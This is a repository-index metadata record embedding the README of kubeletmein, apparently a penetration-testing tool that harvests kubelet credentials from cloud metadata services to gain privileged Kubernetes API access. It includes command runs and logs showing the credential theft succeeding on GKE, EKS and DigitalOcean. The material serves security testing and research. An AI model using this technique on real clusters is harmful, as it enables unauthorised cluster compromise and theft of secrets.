{"id":13680695,"url":"https://github.com/4ARMED/kubeletmein","last_synced_at":"2025-04-30T00:30:42.091Z","repository":{"id":37992575,"uuid":"159575539","full_name":"4ARMED/kubeletmein","owner":"4ARMED","description":"Security testing tool for Kubernetes, abusing kubelet credentials on public cloud providers.","archived":false,"fork":false,"pushed_at":"2023-10-31T12:45:26.000Z","size":15851,"stargazers_count":160,"open_issues_count":2,"forks_count":16,"subscribers_count":5,"default_branch":"main","last_synced_at":"2024-11-11T23:37:46.057Z","etag":null,"topics":["kubelet","kubernetes","security"],"latest_commit_sha":null,"homepage":"https://www.4armed.com/blog/hacking-kubelet-on-gke/","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/4ARMED.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2018-11-28T22:48:09.000Z","updated_at":"2024-09-30T06:13:32.000Z","dependencies_parsed_at":"2022-08-08T22:45:44.369Z","dependency_job_id":"f4d49acc-72c9-4d50-8a86-220d17c6373e","html_url":"https://github.com/4ARMED/kubeletmein","commit_stats":{"total_commits":110,"total_committers":3,"mean_commits":"36.666666666666664","dds":"0.027272727272727226","last_synced_commit":"0e814054557760b2cc10a2bf8c745dc1ac277cf5"},"previous_names":[],"tags_count":52,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/4ARMED%2Fkubeletmein","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/4ARMED%2Fkubeletmein/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/4ARMED%2Fkubeletmein/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/4ARMED%2Fkubeletmein/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/4ARMED","download_url":"https://codeload.github.com/4ARMED/kubeletmein/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251607330,"owners_count":21616739,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["kubelet","kubernetes","security"],"created_at":"2024-08-02T13:01:20.643Z","updated_at":"2025-04-30T00:30:41.612Z","avatar_url":"https://github.com/4ARMED.png","language":"Go","funding_links":[],"categories":["1 Offensive","Go","蓝队工具"],"sub_categories":["1.9 Tools","红队工具"],"readme":"# Kubeletmein\n\nThis is a simple penetration testing tool which takes advantage of public cloud provider approaches to providing kubelet credentials to nodes in a Kubernetes cluster in order to gain privileged access to the k8s API. This access can then potentially be used to further compromise the applications running in the cluster or, in many cases, access secrets that facilitate complete control of Kubernetes.\n\n## How it works\n\n`kubeletmein` is a simple Go binary that is designed to be run from a pod inside your target cluster. Typically this will be either via exploiting a weakness in a web application running on Kubernetes or, perhaps an internal penetration test where the client has given you exec access into a pod. Download the single file and run it with `kubeletmein generate`.\n\nIt autodetects the provider it is being run on, reads kubelet credentials from the cloud provider metadata service and configures a kubeconfig file that you can use with `kubectl` to access the API.\n\nThere's more info in our blog post at [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/).\n\n## Supported providers\n\n### GKE\n\nGKE is fully supported when the metadata concealment is not enabled, shielded VMs are not in use and/or Workload Identity is not utilised. Out of these, only shielded VMs are a default in the most recent version of GKE at the time of writing.\n\n### EKS\n\nEKS support initially added by [@airman604](https://github.com/airman604) based on the AWS EKS [bootstrap script](https://github.com/awslabs/amazon-eks-ami/blob/master/files/bootstrap.sh). This has now been expanded to provide support for various different types of user-data encountered with EKS. Specifically it will support cloud-config format and shell script formats. In the latter case it tries to parse the command line arguments for `/etc/eks/bootstrap.sh` and retrieve the values it needs from there.\n\n### Digital Ocean\n\nBy default, DO provides creds by metadata and this cannot be disabled.\n\n### AKS\n\nMicrosoft's Azure Kubernetes Services is _not_ vulnerable to the same issue. It provides kubelet credentials to its VMs via a local file `/var/lib/waagent/ovf-env.xml`. No sensitive data relating to cluster credentials is accessible via the metadata service and, thereby, from pods deployed to nodes. You can find more information about the custom-data approach adopted by Microsoft at [https://docs.microsoft.com/en-us/azure/virtual-machines/custom-data](https://docs.microsoft.com/en-us/azure/virtual-machines/custom-data).\n\n\n## Installation\n\nIt's a single binary compiled for Linux. Download it with `cURL` or `wget` from the releases page at [https://github.com/4armed/kubeletmein/releases](https://github.com/4armed/kubeletmein/releases) or use our container image [4armed/kubeletmein](https://hub.docker.com/repository/docker/4armed/kubeletmein).\n\n## How to\n\nThere is now just a single `generate` command which will try to autodetect the cloud provider by default. You can override this with the `--provider` flag if required. Other options can be displayed using `-h`.\n\n### GKE\n\n```bash\nroot@kubeletmein-vulnerable:/# kubeletmein generate\n2021-03-10T19:56:00Z [ℹ]  running autodetect\n2021-03-10T19:56:00Z [ℹ]  GKE detected\n2021-03-10T19:56:00Z [ℹ]  fetching kubelet creds from metadata service\n2021-03-10T19:56:00Z [ℹ]  generating bootstrap-kubeconfig file at: bootstrap-kubeconfig.yaml\n2021-03-10T19:56:00Z [ℹ]  wrote bootstrap-kubeconfig\n2021-03-10T19:56:00Z [ℹ]  using bootstrap-config to request new cert for node: gke-kubeletmein-kubeletmein-vulnerabl-a7a330f6-3w52\n2021-03-10T19:56:00Z [ℹ]  Using bootstrap kubeconfig to generate TLS client cert, key and kubeconfig file\n2021-03-10T19:56:00Z [ℹ]  No valid private key and/or certificate found, reusing existing private key or creating a new one\n2021-03-10T19:56:00Z [ℹ]  Waiting for client certificate to be issued\n2021-03-10T19:56:01Z [ℹ]  got new cert and wrote kubeconfig\n2021-03-10T19:56:01Z [ℹ]  now try: kubectl --kubeconfig kubeconfig.yaml get pods\n\nroot@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig.yaml get pods\nNAME                     READY   STATUS    RESTARTS   AGE\nkubeletmein-vulnerable   1/1     Running   0          85s\n```\n\n### EKS\n\n```bash\nroot@kubeletmein-vulnerable:/# kubeletmein generate\n2021-03-10T20:09:35Z [ℹ]  running autodetect\n2021-03-10T20:09:35Z [ℹ]  EKS detected\n2021-03-10T20:09:35Z [ℹ]  fetching cluster information from the metadata service\n2021-03-10T20:09:39Z [ℹ]  parsing user-data\n2021-03-10T20:09:39Z [ℹ]  wrote kubeconfig\n2021-03-10T20:09:39Z [ℹ]  now try: kubectl --kubeconfig kubeconfig.yaml get pods\n\nroot@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig.yaml get pods\nNAME                     READY   STATUS    RESTARTS   AGE\nkubeletmein-vulnerable   1/1     Running   0          8m46s\n```\n\n### DigitalOcean\n\n```bash\nroot@kubeletmein-vulnerable:/# kubeletmein generate\n2021-03-10T11:57:53Z [ℹ]  running autodetect\n2021-03-10T11:57:53Z [ℹ]  DigitalOcean detected\n2021-03-10T11:57:53Z [ℹ]  fetching kubelet creds from metadata service\n2021-03-10T11:57:53Z [ℹ]  generating bootstrap-kubeconfig file at: bootstrap-kubeconfig.yaml\n2021-03-10T11:57:53Z [ℹ]  wrote bootstrap-kubeconfig\n2021-03-10T11:57:53Z [ℹ]  using bootstrap-config to request new cert for node: kubeletmein-pool-87nm2\n2021-03-10T11:57:53Z [ℹ]  Using bootstrap kubeconfig to generate TLS client cert, key and kubeconfig file\n2021-03-10T11:57:53Z [ℹ]  Waiting for client certificate to be issued\n2021-03-10T11:57:53Z [ℹ]  got new cert and wrote kubeconfig\n2021-03-10T11:57:53Z [ℹ]  now try: kubectl --kubeconfig kubeconfig.yaml get pods\n\nroot@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig.yaml get pods\nNAME                     READY   STATUS    RESTARTS   AGE\nkubeletmein-vulnerable   1/1     Running   0          2m30s\n```\n\n## Testing\n\n### Terraform\n\nTo simplify the process, if you want to fire up some clusters to test this on, there are example Terraform configurations provided in the `deploy/terraform` directory. There is one per cloud provider supported. You will need to provide credentials for the provider. If you're not sure how to do this head over to the Terraform website and checkout the relevant provider docs.\n\n- AWS - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)\n\n- GCP - [https://registry.terraform.io/providers/hashicorp/google/latest/docs](https://registry.terraform.io/providers/hashicorp/google/latest/docs)\n\n- Digital Ocean - [https://registry.terraform.io/providers/digitalocean/digitalocean/latest/docs](https://registry.terraform.io/providers/digitalocean/digitalocean/latest/docs)\n\nEach folder has a `Makefile` you can use if you wish to init, plan and apply the configs. You can update the `terraform.tfvars` with the necessary changes or set `TF_VAR_xx` variables. However you prefer.\n\nThe plans will create a cluster and then deploy the `4armed/kubeletmein` container image in a pod. You can then exec into this pod and run the tool. Here is output from running this on GKE.\n\n```bash\n$ kubectl exec -ti kubeletmein-vulnerable -- bash\nroot@kubeletmein-vulnerable:/# kubeletmein generate\n2021-03-10T19:56:00Z [ℹ]  running autodetect\n2021-03-10T19:56:00Z [ℹ]  GKE detected\n2021-03-10T19:56:00Z [ℹ]  fetching kubelet creds from metadata service\n2021-03-10T19:56:00Z [ℹ]  generating bootstrap-kubeconfig file at: bootstrap-kubeconfig.yaml\n2021-03-10T19:56:00Z [ℹ]  wrote bootstrap-kubeconfig\n2021-03-10T19:56:00Z [ℹ]  using bootstrap-config to request new cert for node: gke-kubeletmein-kubeletmein-vulnerabl-a7a330f6-3w52\n2021-03-10T19:56:00Z [ℹ]  Using bootstrap kubeconfig to generate TLS client cert, key and kubeconfig file\n2021-03-10T19:56:00Z [ℹ]  No valid private key and/or certificate found, reusing existing private key or creating a new one\n2021-03-10T19:56:00Z [ℹ]  Waiting for client certificate to be issued\n2021-03-10T19:56:01Z [ℹ]  got new cert and wrote kubeconfig\n2021-03-10T19:56:01Z [ℹ]  now try: kubectl --kubeconfig kubeconfig.yaml get pods\n\nroot@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig.yaml get pods\nNAME                     READY   STATUS    RESTARTS   AGE\nkubeletmein-vulnerable   1/1     Running   0          85s\n```\n\n## Contributing\n\nPlease submit pull requests on a separate branch. We welcome all improvements. It's not the world's best bit of code.\n\nPlease raise issues on GitHub if you find any, including feature requests.\n\n## Disclaimer\n\nThis is intended for professional security testing or research. We subscribe to the DBAD philosophy.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F4ARMED%2Fkubeletmein","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F4ARMED%2Fkubeletmein","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F4ARMED%2Fkubeletmein/lists"}